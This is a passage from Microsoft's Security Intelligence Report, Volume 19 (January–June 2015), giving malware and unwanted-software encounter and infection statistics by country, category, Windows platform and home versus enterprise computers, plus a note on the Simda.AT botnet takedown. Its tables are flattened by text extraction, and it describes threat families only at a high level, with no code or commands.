relatively rare in the locations with the highest encounter rates. included Win32/Nuqel (ranked 11th in Pakistan, 34th worldwide), a worm, and the virus family Win32/Chir (13th in Pakistan, 69th worldwide). In both cases, the encounter rate for the family in Pakistan was more than twice as high as in any other country or region. Families that were unusually prevalent in Indonesia included the exploit Win32/CplLnk (ranked fifth in Indonesia, 20th worldwide) and the virus family Win32/Slugin (ranked 13th in Indonesia, 92nd worldwide). Win32/Macoute, a worm, was unusually prevalent in Algeria (ranked 17th in Algeria, 148th worldwide). Most Macoute encounters worldwide took place in Algeria and several other locations in Africa, including Senegal, Ghana, and Tunisia. The worm family Win32/Vercuser was unusually prevalent in Bangladesh (ranked 14th in Bangladesh, 102nd worldwide) and a number of nearby locations, including Nepal, Pakistan, and India. The locations with the highest infection rates were Iraq, Libya, the Palestinian territories, Morocco, and Pakistan. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 65 The worm family VBS/Jenxcus was the most common malware family infecting computers in 1H15 in all of these locations except Morocco, where it was second. Infection rates for Jenxcus were particularly high across the Middle East, and low in North America and Europe. Infections involving the backdoor family MSIL/Bladabindi, which ranked 26th among infecting families worldwide, were particularly common in Iraq (where it ranked fourth), Libya (third), the Palestinian territories (11th), and Morocco (seventh). Like Jenxcus, Bladabindi had its greatest impact in the Middle East. In Morocco, the most common infecting malware family was the worm family Win32/Yeltminky, which had its highest infection rate there (a CCM of 23.8 in Morocco in 2Q15, compared to 3.3 in Algeria, the next highest location). Yeltminky is a family of worms that spreads by making copies of itself on all available drives and creating an autorun.inf file to execute the copies. Figure 46. Trends for locations with low encounter rates in 1H15 (100,000 reporting computers minimum) Encounter rate (percent of all reporting computers) Worldwide Denmark Norway Sweden Finland Japan 3Q14 4Q14 1Q15 2Q15 Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. 66 MALWARE AND UNWANTED SOFTWARE Figure 47. Trends for locations with low infection rates in 1H15, by CCM (100,000 reporting computers minimum) Worldwide Computers cleaned per 1,000 scanned (CCM) Denmark Norway Switzerland Japan Finland 3Q14 4Q14 1Q15 2Q15 Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. The Nordic countries, including Denmark, Finland, Iceland, Norway, and Sweden, have perennially been among the healthiest locations in the world with regard to malware exposure, as has Japan. In 1H15, the infection and encounter rates for these locations were typically about half of the worldwide averages. (See the blog entry series Lessons from Least Infected Countries at blogs.technet.com/b/security/p/serieslessons-from-least-infected-countries.aspx for more All five locations information about locations that typically have low had similar infection and encounter rates.) encounter and All of these locations, even geographically- and culturally-distant Japan, had similar encounter and infection statistics infection statistics in 1H15. Unwanted software dominated in 1H15. encounters in each location, led by browser modifiers Win32/KipodToolsCby, Win32/CouponRuc, and Win32/AlterbookSP; adware family Win32/SaverExtension; and software bundler Win32/InstalleRex. Infection rates trended up significantly in all five locations in 2Q15 because of removals of Win32/CompromisedCert, an advertising program preinstalled on some Lenovo laptops that installed a compromised trusted root certificate, and Win32/IeEnablerCby, a browser modifier that bypasses user MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 67 consent dialogs to install software without the user s explicit permission. See page 78 for more information about IeEnablerCby. Threats that are particularly uncommon in these locations include Win32/Frethog, a game password stealer that is most prevalent in Asia; Win32/Yeltminky, a worm that is most prevalent in the Middle East; Win32/Gamarue, a worm that is prevalent in southeast Asia and the Middle East; and Win32/Ramnit, a virus that is prevalent in southern and southeast Asia. Microsoft and partners disrupt the Simda.AT botnet On April 12, 2015, Interpol and the Dutch National High Tech Crime Unit (DNHTCU) announced the disruption of Backdoor:Win32/Simda.AT, a significant malware threat affecting more than 770,000 devices in more than 190 countries and regions. Win32/Simda is a family of threats that can provide an attacker with backdoor access to and control of an infected device. They can then steal passwords and gather information about the device to send to the attacker. The Simda.AT variant first appeared in 2012, and is often downloaded to a vulnerable device by a drive-by download. Aside from the information-stealing behavior common to Simda variants, Simda.AT redirects search traffic from popular websites such as Bing, Google, and Facebook to its own domain, and can download other malware from a remote host. Simda was the 55th most commonly encountered malware family worldwide in 1H15, with the overwhelming majority of encounters involving the Simda.AT variant. Figure 48. Average number of Simda-infected devices connecting to the sinkhole each month, April July, 2015 68 MALWARE AND UNWANTED SOFTWARE Interpol coordinated the operation and the DNHTCU, with the support of the Federal Bureau of Investigation (FBI), successfully took down Simda.AT s active command and control infrastructure across four countries including the Netherlands, Luxembourg, Russia, and the United States. The Microsoft Malware Protection Center (MMPC) and the Microsoft Digital Crimes Unit (DCU) led the analysis of the malware threat in partnership with CDI Japan, Kaspersky Lab, and Trend Micro. The MMPC activated the Coordinated Malware Eradication (CME) platform to provide in-depth research, telemetry, samples, and cleaning solutions to law enforcement and Microsoft partners. This information helped law enforcement take action against Simda.AT and its infrastructure, while providing remediation and recovery options for infected devices around the world. For more information about the takedown and technical information about the Simda.AT backdoor, see the entry Microsoft partners with Interpol, industry to disrupt global malware attack affecting more than 770,000 PCs in past six months (April 12, 2015) on the MMPC blog at blogs.technet.com/mmpc. Threat categories The MMPC classifies individual threats into types based on a number of factors, including how the threat spreads and what it is designed to do. To simplify the presentation of this information and make it easier to understand, the Microsoft Security Intelligence Report groups these types into categories based on similarities in function and purpose. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 69 Figure 49. Encounter rates for significant malware categories, 3Q14 2Q15 Encounter rate (percent of all reporting computers) Trojans 3Q14 4Q14 1Q15 2Q15 Worms Obfuscators & Injectors Exploits Downloaders & Droppers Viruses Backdoors Other Malware Password Stealers & Monitoring Tools Ransomware Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. The number of encounters for most categories of malware remained stable or decreased throughout the first half of 2015, with the exception of Trojans, which increased to 4.5 percent in 2Q15 after dipping slightly in the first quarter. Encounters with the three most commonly detected trojan families, Win32/Peals, Win32/Kilim, and Win32/Skeeyah, all increased significantly in 2Q15, contributing to the overall increase, which was partly ameliorated by the disruption of the Win32/Ramnit family. See Threat families beginning on page 74 for more information about these and other malware and unwanted software families. 70 MALWARE AND UNWANTED SOFTWARE Figure 50. Encounter rates for unwanted software categories, 3Q14 2Q15 Encounter rate (percent of all reporting computers) Browser Modifiers Adware Software Bundlers 3Q14 4Q14 1Q15 2Q15 Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. Encounters involving browser modifiers more than doubled between 1Q15 and 2Q15 because of changes to Microsoft detection criteria for unwanted software. In January, Microsoft security products began Encounters involvdetecting as unwanted software browser add-ons that limit user control over their browser in a number of ways, ing browser modiincluding disabling certain browser controls, limiting the fiers more than user s ability to choose their default search provider, and doubled because bypassing consent dialogs for newly installed add-ons. See Threat families beginning on page 74 for more of changes to information about this change. Encounters involving adware increased from 2.5 percent in 4Q14 to 3.7 percent in 1Q15, then fell to 1.6 percent. Much of the increase and subsequent decrease was related to Win32/SaverExtension, a browser add-on that shows ads in the browser without revealing their source, and prevents itself from being removed normally. detection criteria. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 71 Figure 51. SaverExtension prevents itself from being removed Detections of software bundlers increased slightly in 1Q15 because of Win32/InstalleRex, a software bundler that installs other unwanted software families. Threat categories by location Significant differences exist in the types of threats that affect users in different parts of the world. The spread of malware can be highly dependent on language and socioeconomic factors as well as on the methods used for distribution. Some threats are spread using techniques that target people who speak a particular language or who use online services that are local to a specific geographic region. Other threats target vulnerabilities or operating system configurations and applications that are unequally distributed around the world. Figure 52 shows the relative prevalence of different categories of malware in several locations around the world in 2Q15. 72 MALWARE AND UNWANTED SOFTWARE Category Worldwide United States Brazil Russia India France Turkey China United Kingdom Mexico Canada Figure 52. Threat category prevalence worldwide and in the 10 locations with the most computers reporting encounters in 2Q15 Browser Modifiers 5.6% 9.1% 11.6% 7.0% 22.3% 14.2% 16.5% 0.6% 10.8% 13.9% 11.2% Trojans 4.5% 4.2% 12.6% 20.6% 17.9% 5.7% 25.9% 10.2% 4.4% 9.0% 5.1% Worms 2.9% 0.6% 8.8% 4.5% 31.2% 1.9% 17.2% 5.6% 0.8% 20.8% 0.6% Adware 1.6% 4.5% 7.0% 5.1% 8.2% 7.7% 9.6% 0.2% 4.7% 6.3% 5.3% Obfuscators & Injectors 1.5% 1.0% 5.3% 7.3% 8.5% 1.9% 7.7% 4.9% 1.7% 3.1% 1.6% Software Bundlers 1.5% 1.7% 1.5% 0.5% 5.2% 2.2% 3.5% 0.2% 2.3% 2.9% 2.5% Exploits 1.5% 3.4% 2.4% 1.3% 4.7% 2.5% 4.5% 1.7% 4.4% 2.9% 5.6% Downloaders & Droppers 1.2% 2.3% 6.4% 6.6% 4.2% 2.7% 3.6% 3.2% 3.1% 2.0% 3.3% Viruses 1.0% 0.4% 2.2% 1.5% 8.2% 0.4% 6.6% 7.4% 0.3% 1.2% 0.4% Backdoors 0.6% 0.7% 1.4% 2.0% 3.5% 0.9% 3.2% 1.8% 0.9% 1.5% 0.7% Other Malware 0.4% 0.9% 0.3% 0.3% 1.7% 0.5% 1.4% 1.3% 0.6% 0.6% 1.5% Password Stealers & Monitoring Tools 0.2% 0.4% 1.0% 0.8% 0.8% 0.3% 1.0% 0.5% 0.4% 0.5% 0.6% Ransomware 0.2% 0.6% 0.5% 0.6% 0.1% 0.7% 0.6% 0.0% 0.4% 0.8% 0.7% Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. Within each row of Figure 52, a darker color indicates that the category is more prevalent in the specified location than in the others and a lighter color indicates that the category is less prevalent. As in Figure 42 on page 61, the locations in the table are ordered by number of computers reporting detections in 1H15. India experienced higher encounter rates for Backdoors, Browser Modifiers, Obfuscators & Injectors, Other Malware, Software Bundlers, Viruses, and Worms than the other locations in Figure 52. Turkey had the highest encounter rate for Trojans, led by Win32/Peals and Win32/Kilim, and Adware, led by Win32/SaverExtension. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 73 Canada had the highest encounter rate for Exploits, led by JS/Axpergle, a detection for the Sweet Orange exploit kit. See Exploit kits on page 44 for more information. Axpergle encounters also contributed to relatively high encounter rates for Exploits in the United States and United Kingdom. Russia had the highest encounter rate for Downloaders & Droppers, led by Win32/Ogimant. Brazil also had a high Downloaders & India experienced Droppers encounter rate, led by Win32/Banload. (See higher encounter Win32/Banload and Banking Malware on page 21 for more information about Banload in Brazil.) rates for Backdoors, Browser Modifiers, Obfuscators & Injectors, Other Malware, Software Bundlers, Viruses, and Worms than the other locations. Though relatively quite rare overall, ransomware was unusually prevalent in North America and Europe, led by Win32/Crowti, JS/Krypterade, and Win32/Reveton. Mexico had a relatively high encounter rate for Worms, led by Win32/Bondat and VBS/Jenxcus. Computers in Mexico accounted for nearly a third of Bondat encounters worldwide in 1H15. Computers in France had a relatively high encounter rate for Adware, led by Win32/SaverExtension and Win32/EoRezo. China had a relatively high encounter rate for Viruses, led by DOS/JackTheRipper. See Appendix C: Worldwide encounter and infection rates on page 127 for more information about malware around the world. Also, see Linking Cybersecurity Policy and Performance at aka.ms/securityatlas for an in-depth examination of the socioeconomic factors that correlate with high infection rates in different parts of the world. Threat families Figure 53 and Figure 54 show trends for the top malware families that were detected on computers by Microsoft real-time antimalware products worldwide in 1H15. 74 MALWARE AND UNWANTED SOFTWARE Figure 53. Quarterly trends for the top 10 malware families encountered by Microsoft real-time antimalware products in 1H15, shaded according to relative encounter rate Rank Family Most significant category 3Q14 4Q14 1Q15 2Q15 Win32/Obfuscator Obfuscators & Injectors 1.12% 1.08% 1.04% 1.08% VBS/Jenxcus Worms 1.46% 1.23% 0.92% 0.76% Win32/Gamarue Worms 0.93% 1.00% 0.83% 0.75% JS/Axpergle Exploits 0.87% 0.86% 0.85% 0.64% INF/Autorun Obfuscators & Injectors 1.01% 1.07% 0.89% 0.57% Win32/Peals Trojans 0.09% 0.46% 0.70% Win32/Kilim Trojans 0.24% 0.06% 0.35% 0.71% Win32/Skeeyah Trojans 0.10% 0.70% Win32/Ramnit Viruses 0.47% 0.46% 0.43% 0.33% Win32/Sality Viruses 0.48% 0.47% 0.42% 0.35% Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. Figure 54. Encounter rate trends for a number of notable malware families in 1H15 Encounter rate (percent of all reporting computers) 1.6% 1.4% 1.2% Win32/Obfuscator 1.0% VBS/Jenxcus Win32/Gamarue JS/Kilim Win32/Skeeyah Win32/Peals JS/Axpergle INF/Autorun 0.8% 0.6% 0.4% 0.2% 0.0% 3Q14 4Q14 1Q15 2Q15 Win32/Obfuscator, the most commonly encountered threat in 1H15, is a generic detection for programs that have been modified by malware obfuscation tools. These tools typically use a combination of methods, including encryption, compression, and anti-debugging or anti-emulation techniques, to alter malware programs in an effort to hinder analysis or detection by security products. The output is usually another program that MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 75 keeps the same functionality as the original program but with different code, data, and geometry. Encounters involving VBS/Jenxcus declined steadily over the past four quarters, but it remained the second-most commonly encountered family in 1H15. Jenxcus is a worm coded in VBScript that opens a backdoor on an infected computer, enabling an attacker to control it remotely. In addition to spreading via removable drives, Jenxcus was often transmitted via a fake Adobe Flash Player update from spoofed YouTube Win32/Gamarue, webpages. Encounters involving Jenxcus decreased significantly the third most after the Microsoft Digital Crimes Unit launched a takedown commonly en- operation in June of 2014 that successfully disrupted the Jenxcus botnet. The original owners of the botnet subsequently left the countered threat in project, but the Jenxcus code is now being used by other 1H15, was espe- criminal organizations. cially prevalent in southeast Asia and the Middle East. See The Microsoft DCU and the legal side of fighting malware on pages 29 32 of Microsoft Security Intelligence Report, Volume 17 (January June 2014), available from the Microsoft Download Center, for more information about the Microsoft takedown of the Jenxcus botnet. For additional technical information about Jenxcus, see the following entries in the MMPC blog (blogs.technet.com/mmpc): MSRT February 2014 Jenxcus (February 11, 2014) Microsoft Digital Crimes Unit disrupts Jenxcus and Bladabindi malware families (June 30, 2014) Win32/Gamarue, the third most commonly encountered threat in 1H15, was especially prevalent in southeast Asia and the Middle East. Gamarue is commonly distributed via exploit kits and social engineering. Variants have been observed stealing information from the local computer and communicating with command-and-control (C&C) servers managed by attackers. For more information about Gamarue, see the following entries in the MMPC blog at blogs.technet.com/mmpc: Get gamed and rue the day (October 25, 2011) The strange case of Gamarue propagation (February 27, 2013) Win32/Kilim is a family of trojans that makes money for the attacker by generating fake likes and shares on Facebook. Prior to 2015, Kilim 76 MALWARE AND UNWANTED SOFTWARE encounters were heavily concentrated in Turkey, and were rare elsewhere. Since then, encounters have increased tenfold from 4Q14 levels, with most of the increase occurring outside Turkey. Encounters involving two newly designated generic detections, Win32/Peals and Win32/Skeeyah, increased rapidly to account for a significant share of encounters worldwide by 2Q15. JS/Axpergle, a detection for the Angler exploit kit, is the only exploit-related family in the top ten in 1H15. See Exploit families on page 42 for more information about Axpergle and other exploit kits. The encounter rate for Win32/Ramnit decreased from 0.52 percent in 1Q15 to 0.40 percent in 2Q15 following its disruption in February by the European Cybercrime Center (EC3) with the assistance of the MMPC. For more information, see the entry Microsoft Malware Protection Center assists in disrupting Ramnit (February 25, 2015) on the MMPC blog at blogs.technet.com/mmpc. Families that dropped out of the list of the most commonly encountered malware families between 2H14 and 1H15 include the downloader families Win32/Tugspay and Win32/Ogimant and the exploit kit family Win32/Anogre. Figure 55 and Figure 56 show trends for the top unwanted software families that were detected on computers by Microsoft real-time antimalware products worldwide in 1H15. Figure 55. Quarterly trends for the top five unwanted software families encountered by Microsoft real-time antimalware products in 1H15, shaded according to relative encounter rate Family Most Significant Category 3Q14 4Q14 1Q15 2Q15 Win32/KipodToolsCby Browser Modifiers 3.22% 2.03% Win32/CouponRuc Browser Modifiers 1.80% 2.39% 2.50% Win32/SaverExtension Adware 2.83% 0.83% Win32/IeEnablerCby Browser Modifiers 1.67% 0.11% Win32/InstalleRex Software Bundlers 0.00% 1.34% MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 77 Figure 56. Encounter rate trends for the top unwanted software families in 1H15 Encounter rate (percent of all reporting computers) 3.5% 3.0% 2.5% Win32/CouponRuc 2.0% Win32/KipodToolsCby 1.5% Win32/InstalleRex 1.0% Win32/SaverExtension 0.5% Win32/IeEnablerCby 0.0% 3Q14 4Q14 1Q15 2Q15 All of the five most commonly encountered unwanted software families in 1H15 were first detected in 4Q14 or 1Q15. Win32/KipodToolsCby and Win32/IeEnablerCby are browser modifiers that bypass user consent dialogs to install software without the user s explicit permission. Microsoft security products started detecting these browser modifiers in January after Microsoft changed its unwanted software detection criteria to include attempts to bypass user consent for actions such as installing new browser add-ons. KipodToolsCby and IeEnablerCby were both encountered at high levels in 1Q15 as Microsoft security products detected and removed large numbers of installations from previous periods. Encounters subsequently decreased significantly in 2Q15, following the removal of these older installations. Figure 57. An add-on consent dialog bar from Internet Explorer 11. Add-ons that disable consent dialogs are now detected as unwanted software. For more information about this change and its ramifications, see the following entries on the MMPC blog at blogs.technet.com/mmpc: Staying in control of your browser: New detection changes (October 17, 2014) 78 MALWARE AND UNWANTED SOFTWARE A timeline of consent and control (December 11, 2014) Win32/CouponRuc is an adware program that installs a browser extension without user consent. It can prevent the user from removing it or other add-ons normally, or changing other browser settings. Win32/SaverExtension is an adware program that displays advertisements on webpages without identifying itself as the source, which is a violation of Microsoft objective criteria for classifying unwanted software.20 It can also install additional browser extensions that the user cannot remove normally. Win32/InstalleRex is a software bundler that installs unwanted software, including CouponRuc and SaverExtension. It can be installed by third-party software bundlers. When it installs itself, it alters its own Installed On date in Programs and Features to be a year older than the actual date of installation, so that a user who tries to remove it by looking at recently installed programs might have difficulty identifying it. KipodToolsCby and IeEnablerCby are browser modifiers that bypass user consent dialogs to install software without the user s explicit permission. Threat families by platform Malware does not affect all platforms equally. Some threats are spread by exploits that are ineffective against one or more operating system versions. Some threats are more common in parts of the world where specific platforms are more or less popular than elsewhere. In other cases, differences between platforms might be caused by simple random variation. As Figure 58 demonstrates, the threats encountered by client and server platforms tend to be quite different. 20 Microsoft has published the criteria that the company uses to classify programs as unwanted software at www.microsoft.com/security/portal/mmpc/shared/objectivecriteria.aspx. For programs that have been classified as unwanted software, Microsoft provides a dispute resolution process to allow for reporting of potential false positives and to provide software vendors with the opportunity to request investigation of a rating with which they do not agree. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 79 Figure 58. The malware and unwanted software families most commonly encountered on supported Windows client and server platforms in 2Q15 Client family Most significant category 2Q15 Server family Most significant category 2Q15 Win32/CouponRuc Browser Modifiers 2.56% Win32/Peals Trojans 0.40% Win32/KipodToolsCby Browser Modifiers 2.03% Win32/KipodToolsCby Browser Modifiers 0.38% Win32/InstalleRex Software Bundlers 1.41% Win32/Crowti Ransomware 0.33% Win32/Obfuscator Obfuscators & Injectors 1.11% Win32/Conficker Worms 0.32% Win32/AlterbookSP Browser Modifiers 0.85% Win32/AlterbookSP Browser Modifiers 0.28% Win32/SaverExtension Adware 0.85% Win32/Sality Viruses 0.28% Win32/Kilim Trojans 0.71% Win32/Skeeyah Trojans 0.27% VBS/Jenxcus Worms 0.71% Win32/Obfuscator Obfuscators & Injectors 0.24% Win32/Gamarue Worms 0.71% INF/Autorun Obfuscators & Injectors 0.23% Win32/Skeeyah Trojans 0.70% JS/Axpergle Exploits 0.22% Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. Unwanted software was encountered significantly more often on client platforms than on server platforms. Five of the top ten families encountered by client versions of Windows in 1Q15 Win32/CouponRuc, Win32/KipodToolsCby, Win32/InstalleRex, Win32/AlterbookSP, and Win32/SaverExtension were unwanted software families, compared to just two (KipodToolsCby and AlterbookSP) of the top ten families Attackers often use encountered on servers. The discrepancy reflects the very different ways servers are used to access the Internet, enforced PHP-based by features such as Enhanced Security Configuration in Internet malware to Explorer. compromise vulnerable servers. PHP/SimpleShell was only the 515th most prevalent family overall in 2Q15, but ranked 13th on server platforms. When installed on a compromised web server, it creates a webpage that an attacker can use to run shell commands on the server. A number of popular content management systems (CMSes) are written in the PHP scripting language, including WordPress, Drupal, and MediaWiki, and attackers often use PHP-based malware to compromise vulnerable servers for purposes such as sending spam and hosting exploit kit landing pages. Figure 59 and Figure 60 demonstrate how detections of the most prevalent malware and unwanted software families in 2Q15 ranked differently on different operating system/service pack combinations. 80 MALWARE AND UNWANTED SOFTWARE Figure 59. The malware families most commonly encountered by Microsoft real-time antimalware solutions in 2Q15, and how they ranked in prevalence on different platforms Family Most significant category Rank (Windows Vista SP2) Win32/Obfuscator Obfuscators & Injectors VBS/Jenxcus Worms Win32/Gamarue Worms Win32/Kilim Trojans Win32/Skeeyah Trojans Win32/Peals Trojans JS/Axpergle Exploits INF/Autorun Obfuscators & Injectors Win32/Sality Viruses Win32/Ramnit Trojans Rank 2Q15 Rank Windows 7 SP1) Rank (Windows 8 RTM) Rank (Windows 8.1 RTM) Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. Encounters involving JS/Axpergle, a detection for the Angler exploit kit and the only exploit-related family in the top ten in 1H15, were almost entirely confined to computers running Windows 7; although Axpergle ranked first on that platform, it ranked 82nd on Windows Vista and ranked outside the top 100 on Windows 8 and Windows 8.1. The malicious webpages that exploit kits use to spread malware often include scripts that detect certain aspects of the computer s computing environment and only present their exploits to computers that meet criteria specified by the attacker. The Angler exploit kit clearly affects Windows 7 far more than other platforms, which may partially be caused by the integration of Adobe Flash Player into Internet Explorer in Windows 8 and 8.1. The Angler exploit kit relies heavily on exploiting vulnerabilities in old, out-of-date versions of Flash Player, which must be installed as an add-on and updated separately from Internet Explorer in versions of Windows prior to Windows 8. Because Flash Player is integrated into Internet Explorer in Windows 8 and Windows 8.1, it receives security updates through Windows Update and Microsoft Update along with other operating system components, which makes it easier for users to stay current on security updates for the component. Apart from Axpergle, the list of the most commonly encountered malware families was largely consistent from platform to platform. Win32/Peals, MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 81 Win32/Skeeyah, and Win32/Obfuscator were all among the five most commonly encountered malware platform on each supported client platform. Figure 60. The unwanted software families most commonly encountered by Microsoft real-time antimalware solutions in 2Q15, and how they ranked in prevalence on different platforms Family Most significant category Rank (Windows Vista SP2) Rank Windows 7 SP1) Rank (Windows 8 RTM) Rank (Windows 8.1 RTM) Win32/CouponRuc Browser Modifiers Win32/KipodToolsCby Browser Modifiers Win32/InstalleRex Software Bundlers Win32/SaverExtension Adware Win32/AlterbookSP Browser Modifiers Rank 2Q15 Unlike malware, unwanted software delivery mechanisms typically make little effort to distinguish between different platforms, and as a result the list of the most commonly encountered unwanted software families is almost identical on each supported platform. Home and enterprise threats The usage patterns of home users and enterprise users tend to be very different. Enterprise users typically use computers to perform business functions while connected to a network, and may have limitations placed on their Internet and email usage. Home users are more likely to connect to the Internet directly or through a home router and to use their computers for entertainment purposes, such as playing games, watching videos, shopping, and communicating with friends. These different usage patterns mean that home users tend to be exposed to a different mix of computer threats than enterprise users. The infection telemetry data produced by Microsoft antimalware products and tools includes information about whether the infected computer belongs to an Active Directory Domain Services (AD DS) domain. Such domains are used almost exclusively in enterprise environments, and computers that do not belong to a domain are more likely to be used at home or in other nonenterprise contexts. Comparing the threats encountered by domain-joined computers and non-domain computers can provide insights into the different ways attackers target enterprise and home users and which threats are more likely to succeed in each environment. 82 MALWARE AND UNWANTED SOFTWARE Figure 61. Malware encounter rates for domain-based and non-domain computers, 3Q14 2Q15 Encounter rate (percent of all reporting computers) Non-domain Domain 3Q14 4Q14 1Q15 2Q15 Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. Figure 62. Malware and unwanted software encounter rates for domain-based and non-domain computers, 1H15, by category Encounter rate (percent of all reporting computers) Domain Non-domain Browser Modifiers Trojans Worms Adware Exploits Obfuscators Downloaders & Injectors & Droppers Viruses Software Bundlers Backdoors Other Malware Password Ransomware Stealers & Monitoring Tools Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. Enterprise environments typically implement defense-in-depth measures, such as enterprise firewalls, that prevent a certain amount of malware from reaching users computers. Consequently, enterprise computers tend to MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 83 encounter malware at a lower rate than consumer computers. As Figure 61 shows, the encounter rate for consumer computers was about 2.5 times as high as the rate for enterprise computers in 1H15. In addition to encountering less malware in general, computers in enterprise environments tend to encounter different kinds of threats than Enterprise consumer computers, as shown in Figure 62. Non-domain computers encountered disproportionate amounts of unwanted computers tend to software compared to domain-based computers, with Adware, encounter malware Browser Modifiers, and Software Bundlers each appearing at a lower rate than between three and six times as often on non-domain computers. Meanwhile, domain-based computers encountered consumer Password Stealers & Monitoring Tools malware nearly as often computers. as their non-domain counterparts, despite encountering less than half as much malware as non-domain computers overall. One password stealer in particular, Win32/Dyzap, was encountered by domain-based computers more than four times as often as non-domain computers (an encounter rate of 0.12 percent on domain-based computers, compared to 0.03 percent on non-domain computers.) Dyzap steals login credentials for a long list of banking websites using man-in-the-browser (MITB) attacks. It is usually installed on the infected computer by the downloader family Win32/Upatre, which is typically delivered via social engineering techniques that target enterprise audiences (for example, spam messages that mimic business faxes or overnight package delivery notifications). Figure 63 and Figure 64 list the top 10 malware families detected on domainjoined and non-domain computers, respectively, in 1H15. 84 MALWARE AND UNWANTED SOFTWARE Figure 63. Quarterly trends for the top 10 malware and unwanted software families detected on domain-joined computers in 1H15, by percentage of computers encountering each family Most significant category 1Q15 2Q15 Win32/KipodToolsCby Browser Modifiers 0.92% 0.58% JS/Axpergle Exploits 0.46% 0.45% Win32/CouponRuc Browser Modifiers 0.42% 0.38% Win32/Conficker Worms 0.45% 0.32% Win32/AlterbookSP Browser Modifiers 0.70% VBS/Jenxcus Worms 0.34% 0.29% Win32/Upatre Downloaders & Droppers 0.42% 0.19% INF/Autorun Obfuscators & Injectors 0.38% 0.22% Win32/Peals Trojans 0.18% 0.41% Win32/SaverExtension Adware 0.47% 0.11% 1.0% 0.9% 0.8% 0.7% 0.6% 0.5% 0.4% 1Q15 0.3% 2Q15 0.2% 0.1% INF/Autorun Downloaders Obfuscators & & Droppers Injectors Win32/SaverExtension Exploits Win32/Upatre JS/Axpergle VBS/Jenxcus Win32/Conficker Worms Win32/Peals Browser Modifiers Win32/AlterbookSP Win32/CouponRuc 0.0% Win32/KipodToolsCby Encounter rate (percent of all reporting computers) Family Trojans Adware Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY JUNE 2015 85 Figure 64. Quarterly trends for the top 10 malware and unwanted software families detected on non-domain computers in 1H15, by percentage of computers encountering each family Most significant category 1Q15 2Q15 Win32/KipodToolsCby Browser Modifiers 3.47% 2.20% Win32/CouponRuc Browser Modifiers 2.60% 2.74% Win32/SaverExtension Adware 3.09% 0.91% Win32/Obfuscator Obfuscators & Injectors 1.13% 1.18% Win32/IeEnablerCby Browser Modifiers 1.83% 0.13% VBS/Jenxcus Worms 0.98% 0.82% Win32/Gamarue Worms 0.89% 0.81% INF/Autorun Obfuscators & Injectors 0.95% 0.61% JS/Axpergle Exploits 0.89% 0.66% Win32/InstalleRex Software Bundlers 0.004% 1.46% 4.0% 3.5% 3.0% 2.5% 2.0% 1.5% 1Q15 1.0% 2Q15 0.5% Obfuscators & Injectors Win32/InstalleRex INF/Autorun Win32/Obfuscator Win32/Gamarue Worms JS/Axpergle Adware VBS/Jenxcus Win32/SaverExtension Win32/CouponRuc Browser Modifiers Win32/IeEnablerCby 0.0% Win32/KipodToolsCby Encounter rate (percent of all reporting computers) Family Exploits Software Bundlers Figures do not include Brantall, Rotbrow, and Filcout. See Brantall, Rotbrow, and Filcout on page 60 for more information. Six families INF/Autorun, JS/Axpergle, Win32/CouponRuc, Win32/KipodToolsCby, VBS/Jenxcus, and Win32/SaverExtension were common to both lists. All were more frequently encountered on nondomain computers than on domain-joined computers. See Threat families on page 74 for more information about these families. 86 MALWARE AND UNWANTED SOFTWARE The four families that were unique to the top 10 list for domain-joined computers but not for non-domain computers are the worm family Win32/Conficker, the browser modifier Win32/AlterbookSP, the downloader family Conficker was disWin32/Upatre, and the trojan family Win32/Peals. Conficker is a worm that was disrupted several years ago, but continues to be encountered in domain environments because of its use of a built-in list of common and weak passwords to spread between computers. AlterbookSP is a browser add-on that formerly displayed behaviors of unwanted software. Recent versions of the add-on no longer meet Microsoft detection criteria, and are no longer considered unwanted software. Upatre installs malware and unwanted software on the affected computer without the user s consent. It is frequently distributed as an attachment to spam email messages. For more information about Upatre and how it spreads, see the following entries in the MMPC blog at blogs.technet.com/mmpc: rupted several years ago, but continues to be encountered in domain environments because of its use of a built-in list of common and weak passwords to spread between computers. Wire transfer spam spreads Upatre (December 12, 2014) Upatre update: infection chain and affected countries (March 12, 2015) See Malware at Microsoft: Dealing with threats in the Microsoft environment on page 110 for information about the threat landscape on computers at Microsoft and to learn about the actions Microsoft IT takes to protect users, data, and resources. Security software use Recent releases of the MSRT collect and report details about the state of realtime antimalware software on a computer, if the computer s administrator has chosen to opt in to provide data to Microsoft. This telemetry data makes it possible to analyze security software usage patterns around the world and correlate them with infection rates. Figure 65 shows the percentage of computers worldwide that the MSRT found to be protected or unprotected by real-time security software each quarter in 2H14 and 1H15. MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARY 